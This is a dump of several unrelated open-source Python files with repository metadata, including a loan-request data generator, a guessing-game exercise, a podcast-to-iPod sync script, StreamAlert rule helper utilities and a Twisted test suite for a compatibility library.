] | null | null | null | end2endPoC/data-generator/generator.py | mahima1997/trusty-ai-sandbox | 739aa220527052b7080fbe178b9137a7ba3dff4f | [
"Apache-2.0"
] | null | null | null | import requests
import os
import json
import random
ENDPOINT = 'http://localhost:8080/dmn-loan-eligibility'
def generate_random_request():
data = {
"Client" : {
"age" : int(random.normalvariate(40, 10)),
"salary" : int(random.normalvariate(2000, 1000)),
"existing payments": random.randint(50, 200)
},
"Loan" : {
"duration" : random.randint(10, 40),
"installment": random.randint(100, 200)
},
"God" : random.choice(["Yes", "No"])
}
return data
def make_request():
data = generate_random_request()
print(data)
r = requests.post(url = ENDPOINT, data = json.dumps(data), headers = {"Content-Type":"application/json"})
print(r.text)
if __name__ == "__main__":
for x in range(10):
print("sending req number: " + str(x))
make_request()
| 28.30303 | 109 | 0.550321 |
795c35b8dbe8fbfb3bbe76d2d29d5772c2efd66a | 618 | py | Python | psana/psana/graphqt/DragCirc.py | JBlaschke/lcls2 | 30523ef069e823535475d68fa283c6387bcf817b | [
"BSD-3-Clause-LBNL"
] | 16 | 2017-11-09T17:10:56.000Z | 2022-03-09T23:03:10.000Z | psana/psana/graphqt/DragCirc.py | JBlaschke/lcls2 | 30523ef069e823535475d68fa283c6387bcf817b | [
"BSD-3-Clause-LBNL"
] | 6 | 2017-12-12T19:30:05.000Z | 2020-07-09T00:28:33.000Z | psana/psana/graphqt/DragCirc.py | JBlaschke/lcls2 | 30523ef069e823535475d68fa283c6387bcf817b | [
"BSD-3-Clause-LBNL"
] | 25 | 2017-09-18T20:02:43.000Z | 2022-03-27T22:27:42.000Z | """
Class :py:class:`DragCirc` - for draggable circle
===================================================
Created on 2016-10-09 by Mikhail Dubrovin
"""
#import math
#from graphqt.DragBase import DragBase
from psana.graphqt.DragPoint import * # DragPoint, DragBase, Qt, QPen, QBrush
#-----------------------------
class DragCirc(DragBase) :
def __init__(self) :
DragBase.__init__(self, view, points)
pass
#-----------------------------
if __name__ == "__main__" :
print('Self test is not implemented...')
print('use > python FWViewImageShapes.py')
#-----------------------------
| 22.888889 | 77 | 0.52589 |
795c36007f0edfdd2035f61ef0158d89a25ad72e | 644 | py | Python | 实验/1.1 猜数字.py | shao1chuan/pythonbook | cd9877d04e1e11422d38cc051e368d3d9ce2ab45 | [
"MulanPSL-1.0"
] | 95 | 2020-10-11T04:45:46.000Z | 2022-02-25T01:50:40.000Z | 实验/1.1 猜数字.py | shao1chuan/pythonbook | cd9877d04e1e11422d38cc051e368d3d9ce2ab45 | [
"MulanPSL-1.0"
] | null | null | null | 实验/1.1 猜数字.py | shao1chuan/pythonbook | cd9877d04e1e11422d38cc051e368d3d9ce2ab45 | [
"MulanPSL-1.0"
] | 30 | 2020-11-05T09:01:00.000Z | 2022-03-08T05:58:55.000Z | # 随机数的处理
# 综合练习---猜数字
# 计算机要求用户输入数值范围的最小值和最大值。
# 计算机随后“思考”出在这个范围之内的一个随机数,
# 并且重复地要求用户猜测这个数,直到用户猜对了。
# 在用户每次进行猜测之后,计算机都会给出一个提示,
# 并且会在这个过程的最后显示出总的猜测次数。这
# 个程序包含了几种类型的我们学过的 Python 语句,例如,输入语句、输出语句、赋值语句、循环和条件语句
import random
smaller = int(input("Enter the smaller number: "))
larger = int(input("Enter the larger number: "))
myNumber = random.randint(smaller, larger)
count = 0
while True:
count += 1
userNumber = int(input("Enter your guess: "))
if userNumber < myNumber:
print("Too small")
elif userNumber > myNumber:
print("Too large")
else:
print("You've got it in", count, "tries!")
break
| 24.769231 | 54 | 0.678571 |
795c367c1ce495996955aa6642dc6e9b01bd9697 | 3,883 | py | Python | manage.py | idbrii/podcastmagic | 056da5b8c2e2d27f801679acb73ef6337db1a1a7 | [
"MIT"
] | 1 | 2018-08-25T13:15:06.000Z | 2018-08-25T13:15:06.000Z | manage.py | idbrii/podcastmagic | 056da5b8c2e2d27f801679acb73ef6337db1a1a7 | [
"MIT"
] | null | null | null | manage.py | idbrii/podcastmagic | 056da5b8c2e2d27f801679acb73ef6337db1a1a7 | [
"MIT"
] | null | null | null | #!/usr/bin/python
# -*- coding: utf-8 -*-
import shutil
import sys
import os
import os.path as path
import config as cfg
import download as dl
import util as u
import namemanip
# TODO:
# FIX listening. it's not being emptied when files are copied
# TEST pod downloading and processing at the same time
# copy a minimum of one of each podcast
# TEST interrupts during copying and interpret as a skip the copy step
## And interaction with downloading
# print more of what's going on
# run download and trim
# copy oldest files first
# ensure all folders exist
# Wrap shutil so I can have debug output
def _shutilFunc(func, src, dst):
u.printDebug( 'shutil.'+ func.func_name +'('+ src +', '+ dst +')' )
func(src, dst)
def moveFile(src, dst):
_shutilFunc(shutil.move, src, dst)
def copyFile(src, dst):
_shutilFunc(shutil.copy, src, dst)
def removeFile(src):
u.printDebug( 'os.remove('+ src +')' )
os.remove(src)
def select_and_move():
u.printStep( 'Find files to copy' )
desiredFiles = []
# find files in Processed
fileNames = os.listdir(cfg.trimCastFolder)
# filter out files that aren't mp3s
fileNames = [f for f in fileNames if f.endswith('.mp3')]
fData = {}
for f in fileNames:
p = path.join(cfg.trimCastFolder, f)
statinfo = os.stat(p)
fData[statinfo.st_ctime] = f
# find oldest files
n = cfg.maxFilesToCopy
for k in fData.keys():
desiredFiles.append( fData[k] )
n -= 1
if n is 0:
break
u.printStatus('Found %d files to copy' % len(desiredFiles))
# move to Listening folder
for f in desiredFiles:
src = path.join(cfg.trimCastFolder, f)
dst = path.join(cfg.listeningFolder, namemanip.find_date(f)+'_'+f)
moveFile(src, dst)
def copy_to_ipod():
###
# Copy files from Listening folder to iPod
u.printStep('Begin copy')
# reserve some space
desiredFiles = os.listdir(cfg.listeningFolder)
u.printStatus( 'Making buffer space' )
try:
copyFile(path.join(cfg.listeningFolder, desiredFiles[0]), cfg.freeSpaceMagic)
except IOError, ex:
u.printWarning("No space on device. Cannot copy any files (%s)" % ex)
raise ex
except KeyboardInterrupt, ex:
u.printWarning('Interrupt caught, skipping copying step')
return ####### Early Return
for f in desiredFiles:
u.printStatus( 'Copying: %s' % f )
src = path.join(cfg.listeningFolder, f)
dst = path.join(cfg.iPodCastFolder, f)
try:
# move out of listening folder to ipod
# hopefully, the move will only occur if there's space
moveFile(src, dst)
except IOError, ex:
u.printWarning( "Warning: Out of space on device (%s)" % ex )
# failure means it will stay in listening folder for the next iPod sync
except KeyboardInterrupt, ex:
u.printWarning('Interrupt caught, not copying any more files')
# free up junk space
u.printStatus( 'Clearing buffer space' )
removeFile(cfg.freeSpaceMagic)
def rebuild_ipod():
###
u.printStep( 'Rebuild the database' )
p = path.normpath(cfg.rebuild_db)
os.system(p)
def main():
u.ensure_folders()
select_and_move()
p = dl.download_trim_clean()
try:
copy_to_ipod()
except IOError:
# When we get an io error, it's probably already been reported. We just
# need to skip everything else except waiting for our external process
pass
try:
rebuild_ipod()
except IOError:
u.printWarning("Failed to rebuild ipod database!")
dl.wait_for_download(p)
def _test():
import doctest
doctest.testmod()
if __name__ == '__main__':
main()
| 26.060403 | 85 | 0.627865 |
795c36ef0460b57495e3c5557b3d2b8324af4cda | 406 | py | Python | lib/fmdplugins/filehash.py | GonzaloAlvarez/py-ga-sysadmin | fbbbbcad36df9f1b3e40328ff48c22bad13a56f4 | [
"MIT"
] | 2 | 2018-01-05T15:32:06.000Z | 2021-06-02T13:15:05.000Z | lib/fmdplugins/filehash.py | GonzaloAlvarez/devops-tools | fbbbbcad36df9f1b3e40328ff48c22bad13a56f4 | [
"MIT"
] | 67 | 2017-01-09T19:39:19.000Z | 2018-02-28T05:33:40.000Z | lib/fmdplugins/filehash.py | GonzaloAlvarez/devops-tools | fbbbbcad36df9f1b3e40328ff48c22bad13a56f4 | [
"MIT"
] | null | null | null | import xxhash
import mmap
from lib.file import hashfile
from lib.fmd.decorators import Action,AddStage
@Action(AddStage.DATAGATHERING)
def fid(context, output):
BLOCKSIZE = 1024 ** 2
readdigest = xxhash.xxh64()
with open(context.filename, 'rb') as in_file:
for item in iter((lambda: in_file.read(BLOCKSIZE)), ''):
readdigest.update(item)
return readdigest.hexdigest()
| 27.066667 | 64 | 0.704433 |
795c380f4260c4211b29a13e1043c9a601e54229 | 7,659 | py | Python | rules/helpers/base.py | yutiansut/streamalert | 7d198a3273781f66465420e90886a3ce53ec7559 | [
"Apache-2.0"
] | 7 | 2018-12-26T14:38:08.000Z | 2022-03-09T13:21:00.000Z | rules/helpers/base.py | revaniki/streamalert | 7d198a3273781f66465420e90886a3ce53ec7559 | [
"Apache-2.0"
] | 14 | 2018-05-09T19:18:15.000Z | 2021-06-02T02:34:09.000Z | rules/helpers/base.py | revaniki/streamalert | 7d198a3273781f66465420e90886a3ce53ec7559 | [
"Apache-2.0"
] | 1 | 2018-12-06T20:51:58.000Z | 2018-12-06T20:51:58.000Z | """
Copyright 2017-present, Airbnb Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
from fnmatch import fnmatch
import logging
import json
import random
import time
import pathlib2
from stream_alert.shared.utils import ( # pylint: disable=unused-import
# Import some utility functions which are useful for rules as well
get_first_key,
get_keys,
in_network,
valid_ip
)
logging.basicConfig()
LOGGER = logging.getLogger('StreamAlert')
def path_matches_any(text, patterns):
"""Check if the text matches any of the given wildcard patterns.
NOTE: Intended for filepaths with wildcards where fnmatch is too greedy.
Especially useful in cases where a username in a filepath may need to be wildcarded.
For example;
path_matches_any('/Users/foobar/path/to/file', {'/Users/*/path/*/file'}) == True
Args:
text (str): Text to examine
patterns (iterable): Collection of string patterns, compatible with fnmatch (* wildcards)
Returns:
bool: True if the text matches at least one of the patterns, False otherwise.
"""
if not isinstance(text, basestring):
return False
return any(pathlib2.PurePath(text).match(pattern) for pattern in patterns)
def starts_with_any(text, prefixes):
"""Check if the text starts with any of the given prefixes.
For example, starts_with_any('abc', {'a'}) == True
Functionally equivalent to matches_any() with patterns like 'prefix*', but more efficient
Args:
text (str): Text to examine
prefixes (iterable): Collection of string prefixes (no wildcards)
Returns:
bool: True if the text starts with at least one of the given prefixes, False otherwise.
"""
if not isinstance(text, basestring):
return False
return any(text.startswith(prefix) for prefix in prefixes)
def ends_with_any(text, suffixes):
"""Check if the text ends with any of the given suffixes.
For example, ends_with_any('abc', {'c'}) == True
Functionally equivalent to matches_any() with patterns like '*suffix', but more efficient
Args:
text (str): Text to examine
suffixes (iterable): Collection of string suffixes (no wildcards)
Returns:
bool: True if the text ends with at least one of the given prefixes, False otherwise.
"""
if not isinstance(text, basestring):
return False
return any(text.endswith(suffix) for suffix in suffixes)
def contains_any(text, substrings):
"""Check if the text contains any of the given substrings.
For example, contains_any('abc', {'b'}) == True
Functionally equivalent to matches_any() with patterns like '*substring*', but more efficient
Args:
text (str): Text to examine
substrings (iterable): Collection of string substrings (no wildcards)
Returns:
bool: True if the text contains at least one of the given prefixes, False otherwise.
"""
if not isinstance(text, basestring):
return False
return any(s in text for s in substrings)
def matches_any(text, patterns):
"""Check if the text matches any of the given wildcard patterns.
For example, matches_any('abc', {'a*c'}) == True
WARNING: This is relatively slow and should only be used for complex patterns that can't be
expressed with contains_any(), starts_with_any(), or ends_with_any()
Args:
text (str): Text to examine
patterns (iterable): Collection of string patterns, compatible with fnmatch (* wildcards)
Returns:
bool: True if the text matches at least one of the patterns, False otherwise.
"""
if not isinstance(text, basestring):
return False
return any(fnmatch(text, pattern) for pattern in patterns)
def last_hour(unixtime, hours=1):
"""Check if a given epochtime is within the last hour(s).
Args:
unixtime: epoch time
hours (int): number of hours
Returns:
True/False
"""
seconds = hours * 3600
# sometimes bash histories do not contain the `time` column
return int(time.time()) - int(unixtime) <= seconds if unixtime else False
def data_has_value(data, search_value):
"""Recursively search for a given value.
Args:
data (dict, list, primitive)
search_value (string)
Returns:
(bool) True or False if found
"""
if isinstance(data, list):
return any(data_has_value(item, search_value) for item in data)
if isinstance(data, dict):
return any(data_has_value(v, search_value) for v in data.values())
return data == search_value
def data_has_value_with_substring(data, search_value):
"""Recursively search for a value with the given substring
Args:
data (dict, list, primitive)
search_value (string)
Returns:
(bool) True or False if found
"""
if isinstance(data, list):
return any(data_has_value_with_substring(item, search_value) for item in data)
if isinstance(data, dict):
return any(data_has_value_with_substring(v, search_value) for v in data.values())
return isinstance(data, basestring) and search_value in data
def data_has_value_from_list(data, needle_list):
"""Recursively search for any values that are in the specified list
Args:
data (dict, list, primitive)
needle_list (list)
Returns:
(bool) True or False if found
"""
if isinstance(data, list):
return any(data_has_value_from_list(item, needle_list) for item in data)
if isinstance(data, dict):
return any(data_has_value_from_list(v, needle_list) for v in data.values())
if not data:
return False
return matches_any(data, needle_list)
def data_has_value_from_substring_list(data, needle_list):
"""Recursively search for any values that contain a substring from the specified list
Args:
data (dict, list, primitive)
needle_list (list)
Returns:
(bool) True or False if found
"""
if isinstance(data, list):
return any(data_has_value_from_substring_list(item, needle_list) for item in data)
if isinstance(data, dict):
return any(data_has_value_from_substring_list(v, needle_list) for v in data.values())
if not data:
return False
return any(needle in data for needle in needle_list)
def safe_json_loads(data):
"""Safely load a JSON string into a dictionary
Args:
data (str): A JSON string
Returns:
dict: The loaded JSON string or empty dict
"""
try:
return json.loads(data)
except ValueError:
return {}
def random_bool(probability_of_true):
"""Randomly return True or False based on the given probability.
Useful for very noisy rules where you only want a sample of the matches.
Args:
probability_of_true (float): Probability that True should be returned (between 0 and 1).
Returns:
(bool) True or False
"""
if probability_of_true < 0 or probability_of_true > 1:
raise ValueError('Probability must be between 0.0 and 1.0')
return random.random() <= probability_of_true
| 30.153543 | 97 | 0.689254 |
795c384ee40d1de9d140e32cc9874142a7ed4d81 | 30,859 | py | Python | chevah/compat/tests/normal/testing/test_testcase.py | chevah/compat | d22e5f551a628f8a1652c9f2eea306e17930cb8f | [
"BSD-3-Clause"
] | 5 | 2016-12-03T22:54:50.000Z | 2021-11-17T11:17:39.000Z | chevah/compat/tests/normal/testing/test_testcase.py | chevah/compat | d22e5f551a628f8a1652c9f2eea306e17930cb8f | [
"BSD-3-Clause"
] | 76 | 2015-01-22T16:00:31.000Z | 2022-02-09T22:13:34.000Z | chevah/compat/tests/normal/testing/test_testcase.py | chevah/compat | d22e5f551a628f8a1652c9f2eea306e17930cb8f | [
"BSD-3-Clause"
] | 1 | 2016-12-10T15:57:31.000Z | 2016-12-10T15:57:31.000Z | # Copyright (c) 2011 Adi Roiban.
# See LICENSE for details.
"""
Tests for ChevahTestCase.
"""
from __future__ import print_function
from __future__ import division
from __future__ import absolute_import
import os
import sys
import time
from twisted.internet import defer, reactor, threads
from twisted.internet.task import Clock
from chevah.compat import process_capabilities
from chevah.compat.testing import conditionals, ChevahTestCase, mk
class Dummy(object):
"""
Dummy class to help with testing.
"""
_value = mk.string()
def method(self):
return self._value
class TestTwistedTestCase(ChevahTestCase):
"""
General tests for TwistedTestCase as part of ChevahTestCase.
"""
def test_runDeferred_non_deferred(self):
"""
An assertion error is raised when runDeferred is called for
something which is not an deferred.
Ex. a delayedCall
"""
scheduler = Clock()
delayed_call = scheduler.callLater(0, lambda: None) # pragma: no cover
with self.assertRaises(AssertionError) as context:
self._runDeferred(delayed_call)
self.assertEqual(
'This is not a deferred.', context.exception.args[0])
def test_runDeferred_timeout_custom(self):
"""
runDeferred will execute the reactor and raise an exception
if deferred got no result after the timeout.
"""
deferred = defer.Deferred()
with self.assertRaises(AssertionError) as context:
self._runDeferred(deferred, timeout=0)
self.assertEqual(
'Deferred took more than 0 to execute.',
context.exception.args[0]
)
# Restore order messing with internal timeout state in
# previous state.
self._reactor_timeout_failure = None
def test_runDeferred_timeout_default(self):
"""
It will execute the reactor and raise an exception if the
default timeout passes and the deferred is not completed.
"""
self.DEFERRED_TIMEOUT = 0
deferred = defer.Deferred()
with self.assertRaises(AssertionError) as context:
self._runDeferred(deferred)
self.assertEqual(
'Deferred took more than 0 to execute.',
context.exception.args[0]
)
# Restore order messing with internal timeout state in
# previous state.
self._reactor_timeout_failure = None
def test_runDeferred_non_recursive(self):
"""
runDeferred will execute the reactor and wait for deferred
tu return a result.
"""
deferred = defer.Deferred()
reactor.callLater(0.001, lambda d: d.callback('ok'), deferred)
self._runDeferred(deferred, timeout=0.3)
self.assertEqual('ok', deferred.result)
def test_runDeferred_callbacks_list(self):
"""
runDeferred will execute the reactor and wait for deferred
to return a non-deferred result from the deferreds callbacks list.
"""
# We use an uncalled deferred, to make sure that callbacks are not
# executed when we call addCallback.
deferred = defer.Deferred()
two_deferred = defer.Deferred()
three_deferred = defer.Deferred()
four_deferred = defer.Deferred()
deferred.addCallback(lambda result: two_deferred)
deferred.addCallback(lambda result: three_deferred)
deferred.addCallback(lambda result: four_deferred)
reactor.callLater(0.001, lambda d: d.callback('one'), deferred)
reactor.callLater(0.001, lambda d: d.callback('two'), two_deferred)
reactor.callLater(
0.002, lambda d: d.callback('three'), three_deferred)
reactor.callLater(0.003, lambda d: d.callback('four'), four_deferred)
self._runDeferred(deferred, timeout=0.3)
self.assertEqual('four', deferred.result)
def test_runDeferred_cleanup(self):
"""
runDeferred will execute the reactor and will leave the reactor
stopped.
"""
deferred = defer.succeed(True)
# Make sure we have a threadpool before calling runDeferred.
threadpool = reactor.getThreadPool()
self.assertIsNotNone(threadpool)
self.assertIsNotNone(reactor.threadpool)
self._runDeferred(deferred, timeout=0.3)
self.assertIsTrue(deferred.result)
self.assertIsNone(reactor.threadpool)
self.assertFalse(reactor.running)
def test_runDeferred_prevent_stop(self):
"""
When called with `prevent_stop=True` runDeferred will not
stop the reactor at exit.
In this way, threadpool and other shared reactor resources can be
reused between multiple calls of runDeferred.
"""
deferred = defer.succeed(True)
# Force the reactor to create an internal threadpool, in
# case it was removed by previous calls.
initial_pool = reactor.getThreadPool()
with self.patchObject(reactor, 'stop') as mock_stop:
self._runDeferred(deferred, timeout=0.3, prevent_stop=True)
# reactor.stop() is not called
self.assertIsFalse(mock_stop.called)
self.assertIsTrue(reactor._started)
self.assertIsTrue(deferred.result)
self.assertIsNotNone(reactor.threadpool)
self.assertIs(initial_pool, reactor.threadpool)
# Run again and we should still have the same pool.
with self.patchObject(reactor, 'startRunning') as mock_start:
self._runDeferred(
defer.succeed(True), timeout=0.3, prevent_stop=True)
# reactor.start() is not called if reactor was not previously
# stopped.
self.assertIsFalse(mock_start.called)
self.assertIs(initial_pool, reactor.threadpool)
# Run again but this time call reactor.stop.
self._runDeferred(
defer.succeed(True), timeout=0.3, prevent_stop=False)
self.assertIsFalse(reactor._started)
self.assertIsNone(reactor.threadpool)
def test_assertNoResult_good(self):
"""
assertNoResult will not fail if deferred has no result yet.
"""
deferred = defer.Deferred()
self.assertNoResult(deferred)
def test_assertNoResult_fail(self):
"""
assertNoResult will fail if deferred has a result.
"""
deferred = defer.Deferred()
deferred.callback(None)
with self.assertRaises(AssertionError):
self.assertNoResult(deferred)
def test_successResultOf_ok(self):
"""
successResultOf will not fail if deferred has a result.
"""
value = object()
deferred = defer.succeed(value)
result = self.successResultOf(deferred)
self.assertEqual(value, result)
def test_successResultOf_no_result(self):
"""
successResultOf will fail if deferred has no result.
"""
deferred = defer.Deferred()
with self.assertRaises(AssertionError):
self.successResultOf(deferred)
def test_successResultOf_failure(self):
"""
successResultOf will fail if deferred has a failure.
"""
deferred = defer.fail(AssertionError())
with self.assertRaises(AssertionError):
self.successResultOf(deferred)
def test_failureResultOf_good_any(self):
"""
failureResultOf will return the failure.
"""
error = AssertionError(u'bla')
deferred = defer.fail(error)
failure = self.failureResultOf(deferred)
self.assertEqual(error, failure.value)
def test_failureResultOf_good_type(self):
"""
failureResultOf will return the failure of a specific type.
"""
error = NotImplementedError(u'bla')
deferred = defer.fail(error)
failure = self.failureResultOf(deferred, NotImplementedError)
self.assertEqual(error, failure.value)
def test_failureResultOf_bad_type(self):
"""
failureResultOf will fail if failure is not of the specified type.
"""
error = NotImplementedError(u'bla')
deferred = defer.fail(error)
with self.assertRaises(AssertionError):
self.failureResultOf(deferred, SystemExit)
def test_failureResultOf_no_result(self):
"""
failureResultOf will fail if deferred got no result.
"""
deferred = defer.Deferred()
with self.assertRaises(AssertionError):
self.failureResultOf(deferred)
def test_failureResultOf_no_failure(self):
"""
failureResultOf will fail if deferred is not a failure.
"""
deferred = defer.succeed(None)
with self.assertRaises(AssertionError):
self.failureResultOf(deferred)
def test_executeReactor_delayedCalls_chained(self):
"""
It will wait for all delayed calls to execute, included delayed
which are later created by another delayed call.
"""
self.called = False
def last_call():
self.called = True
reactor.callLater(0.01, lambda: reactor.callLater(0.01, last_call))
self.executeReactor()
self.assertTrue(self.called)
def test_executeReactor_threadpool(self):
"""
It will wait for all workers from threadpool.
"""
self.called = False
def last_call():
time.sleep(0.1)
self.called = True
deferred = threads.deferToThread(last_call)
self.executeReactor()
self.assertTrue(self.called)
self.assertTrue(deferred.called)
def test_executeReactor_timeout_value(self):
"""
It will use the requested timeout value for executing the reactor.
"""
self.called = False
def last_call():
self.called = True
reactor.callLater(1.5, last_call)
self.executeReactor(timeout=2)
self.assertTrue(self.called)
def test_assertReactorIsClean_excepted_deferred(self):
"""
Will raise an error if a delayed call is still on the reactor queue.
"""
def much_later(): # pragma: no cover
"""
This is here to have a name.
"""
delayed_call = reactor.callLater(10, much_later)
with self.assertRaises(AssertionError) as context:
self._assertReactorIsClean()
self.assertEqual(
u'Reactor is not clean. delayed calls: much_later',
context.exception.args[0],
)
# Cancel and remove it so that the general test will not fail.
delayed_call.cancel()
self.executeReactor()
def test_assertReactorIsClean_excepted_delayed_calls(self):
"""
Will not raise an error if delayed call should be ignored.
"""
def much_later(): # pragma: no cover
"""
This is here to have a name.
"""
self.EXCEPTED_DELAYED_CALLS = ['much_later']
delayed_call = reactor.callLater(10, much_later)
self._assertReactorIsClean()
# Cancel and remove it so that other tests will not fail.
delayed_call.cancel()
self.executeReactor()
def test_assertReactorIsClean_threads(self):
"""
It will cancel any pending jobs for the threads.
"""
def last_call(): # noqa:cover
# This is added to the thread queue, but does not has the time
# to be executed as our assertion will remove it from the queue.
time.sleep(1)
threads.deferToThread(last_call)
with self.assertRaises(AssertionError) as context:
self._assertReactorIsClean()
self.assertContains(
'Reactor is not clean. threadpoool queue:',
context.exception.message)
# It will auto-clean the pool, so calling it again will not fail.
self._assertReactorIsClean()
def test_cleanReactor_delayed_calls_all_active(self):
"""
It will cancel any delayed calls in the reactor queue.
"""
reactor.callLater(1, self.ignoreFailure)
reactor.callLater(2, self.ignoreFailure)
self.assertIsNotEmpty(reactor.getDelayedCalls())
self._cleanReactor()
self.assertIsEmpty(reactor.getDelayedCalls())
def test_cleanReactor_delayed_calls_some_called(self):
"""
It will not break if a call is already called and will continue
canceling the .
"""
delayed_call_1 = reactor.callLater(1, self.ignoreFailure)
delayed_call_2 = reactor.callLater(2, self.ignoreFailure)
# Fake that deferred was called and make sure it is first in the list
# so that we can can check that the operation will continue.
delayed_call_1.called = True
self.assertEqual(
[delayed_call_1, delayed_call_2], reactor.getDelayedCalls())
self._cleanReactor()
self.assertTrue(delayed_call_2.cancelled)
# Since we are messing with the reactor, we are leaving it in an
# inconsistent state as no called delayed call should be part of the
# list... since when called, the delayed called is removed right
# away, yet we are not removing it but only faking its call.
delayed_call_1.called = False
self._cleanReactor()
self.assertIsEmpty(reactor.getDelayedCalls())
def test_executeDelayedCalls(self):
"""
It will wait for delayed calls to be executed and then leave the
reactor opened.
"""
results = []
reactor.callLater(0.1, lambda x: results.append(x), True)
# Make sure reactor is stopped at the end of the test.
self.addCleanup(self.executeReactor)
self.executeDelayedCalls()
self.assertEqual([True], results)
self.assertTrue(reactor._started)
def test_executeDelayedCalls_with_timeout(self):
"""
When the delayed calls are not ready after timeout, it will fail.
"""
results = []
reactor.callLater(0.2, lambda x: results.append(x), True)
# Make sure reactor is stopped at the end of the test.
self.addCleanup(self.executeReactor)
with self.assertRaises(AssertionError) as context:
self.executeDelayedCalls(timeout=0.1)
self.assertEqual(
'executeDelayedCalls took more than 0.1',
context.exception.args[0],
)
# Delayed call not called and reactor is stopped.
self.assertEqual([], results)
self.assertFalse(reactor._started)
def test_executeReactorUntil(self):
"""
It will execute the reactor and leave it open.
"""
results = []
reactor.callLater(0.1, lambda x: results.append(x), True)
call_2 = reactor.callLater( # noqa:cover
0.2, lambda x: results.append(x), False)
# Make sure call is not already called.
self.assertEqual([], results)
# Wait until first callback is called.
self.executeReactorUntil(
lambda _: results == [True],
prevent_stop=False,
)
self.assertEqual([True], results)
# The second call is not called and we need to cancel it, otherwise
# the reactor will not be clean.
call_2.cancel()
def test_executeReactorUntil_timeout(self):
"""
It will execute the reactor and leave it open.
"""
results = []
reactor.callLater(0.1, lambda x: results.append(x), True)
# Make sure call is not already called.
self.assertEqual([], results)
# Wait until first callback is called.
self.executeReactorUntil(
lambda _: False,
prevent_stop=False,
timeout=0.2,
)
# The reactor was spin.
self.assertEqual([True], results)
self.assertEqual(
'Reactor took more than 0.20 seconds to execute.',
self._reactor_timeout_failure.args[0],
)
# Ignore this error so that it will not be triggered in tearDown.
self._reactor_timeout_failure = None
def test_iterateReactor(self):
"""
It will execute the reactor and leave it open.
"""
results = []
reactor.callLater(0, lambda x: results.append(x), True)
# Make sure reactor is stopped at the end of the test.
self.addCleanup(self.executeReactor)
# Make sure call is not already called.
self.assertEqual([], results)
self.iterateReactor()
self.assertEqual([True], results)
self.assertTrue(reactor._started)
def test_iterateReactorWithStop(self):
"""
It will execute the reactor and stop it.
"""
results = []
reactor.callLater(0, lambda x: results.append(x), True)
# Make sure call is not already called.
self.assertEqual([], results)
self.iterateReactorWithStop()
self.assertEqual([True], results)
self.assertFalse(reactor._started)
def test_iterateReactorForSeconds(self):
"""
It will execute the reactor for x seconds and leave it open.
"""
results = []
reactor.callLater(0.1, lambda x: results.append(x), True)
# Make sure call is not already called.
self.assertEqual([], results)
# Make sure reactor is stopped at the end of the test.
self.addCleanup(self.executeReactor)
self.iterateReactorForSeconds(0.2)
self.assertEqual([True], results)
self.assertFalse(reactor._started)
class TestTwistedTimeoutTestCase(ChevahTestCase):
"""
Test for the default timeout.
"""
DEFERRED_TIMEOUT = 1.5
def test_executeReactor_timeout_default(self):
"""
It will use the default timeout value defined on the test case.
"""
self.called = False
def last_call():
self.called = True
reactor.callLater(1.25, last_call)
self.executeReactor()
self.assertTrue(self.called)
class TestChevahTestCase(ChevahTestCase):
"""
General tests for ChevahTestCase.
"""
def test_cleanTemporaryFolder_empty(self):
"""
Empty list is returned if temporary folder does not contain test
files for folders.
"""
result = self.cleanTemporaryFolder()
self.assertIsEmpty(result)
def test_cleanTemporaryFolder_content(self):
"""
The list of members is returned if temporary folder contains test
files for folders.
Only root members are returned and folders are removed recursively.
"""
file1 = mk.fs.createFileInTemp()
folder1 = mk.fs.createFolderInTemp()
folder1_file2 = folder1[:]
folder1_file2.append(mk.makeFilename())
result = self.cleanTemporaryFolder()
self.assertEqual(2, len(result))
self.assertContains(file1[-1], result)
self.assertContains(folder1[-1], result)
def test_patch(self):
"""
It can be used for patching classes.
"""
value = mk.string()
with self.patch(
'chevah.compat.tests.normal.testing.test_testcase.Dummy.method',
return_value=value,
):
instance = Dummy()
self.assertEqual(value, instance.method())
# After exiting the context, the value is restored.
instance = Dummy()
self.assertEqual(Dummy._value, instance.method())
def test_patchObject(self):
"""
It can be used for patching an instance of an object.
"""
value = mk.string()
one_instance = Dummy()
with self.patchObject(
one_instance, 'method', return_value=value):
self.assertEqual(value, one_instance.method())
# All other instances are not affected.
new_instance = Dummy()
self.assertEqual(Dummy._value, new_instance.method())
# After exiting the context, the value is restored.
self.assertEqual(Dummy._value, one_instance.method())
def test_Mock(self):
"""
It creates a generic mock object.
"""
value = mk.string()
mock = self.Mock(return_value=value)
self.assertEqual(value, mock())
def test_skipped_test(self):
"""
Just a test to check that everything works ok with skipped tests
in a normal testcase.
"""
raise self.skipTest()
@conditionals.skipOnCondition(lambda: False, 'Should not be skipped!!!')
def test_skipOnCondition_call(self):
"""
Run test when callback return False.
"""
@conditionals.skipOnCondition(lambda: True, 'As expected.')
def test_skipOnCondition_skip(self):
"""
Skip test when callback return True.
"""
raise AssertionError('Should not be called.')
@conditionals.onOSFamily('posiX')
def test_onOSFamily_posix(self):
"""
Run test only on posix.
"""
if os.name != 'posix':
raise AssertionError('This should be called only on posix.')
@conditionals.onOSFamily('Nt')
def test_onOSFamily_nt(self):
"""
Run test only on NT. This is the complement of previous test.
"""
if os.name != 'nt':
raise AssertionError('This should be called only on NT.')
@conditionals.onOSName('linuX')
def test_onOSName_linux(self):
"""
Run test only on Linux.
"""
if not sys.platform.startswith('linux'):
raise AssertionError('This should be called only on Linux.')
@conditionals.onOSName(['Linux', 'aix'])
def test_onOSName_linux_aix(self):
"""
Run test only on Linux and AIX.
"""
if (not sys.platform.startswith('linux') and
not sys.platform.startswith('aix')):
raise AssertionError(
'This should be called only on Linux and AIX.')
@conditionals.onCapability('impersonate_local_account', True)
def test_onCapability(self):
"""
Run test only when impersonate_local_account is True.
"""
# We ignore the statements in this code from coverage,
# but we don't ignore the whole test to make sure that it is
# executed.
can_impersonate = (
process_capabilities.impersonate_local_account) # pragma: no cover
if can_impersonate is not True: # pragma: no cover
raise AssertionError(
'This should be called only when impersonate_local_account '
'is True.'
)
@conditionals.onAdminPrivileges(True)
def test_onAdminPrivileges_present(self):
"""
Run test only on machines that execute the tests with administrator
privileges.
"""
if self.os_version in ['nt-5.1', 'nt-5.2']:
raise AssertionError(
'Windows XP and 2003 BS does not run as administrator')
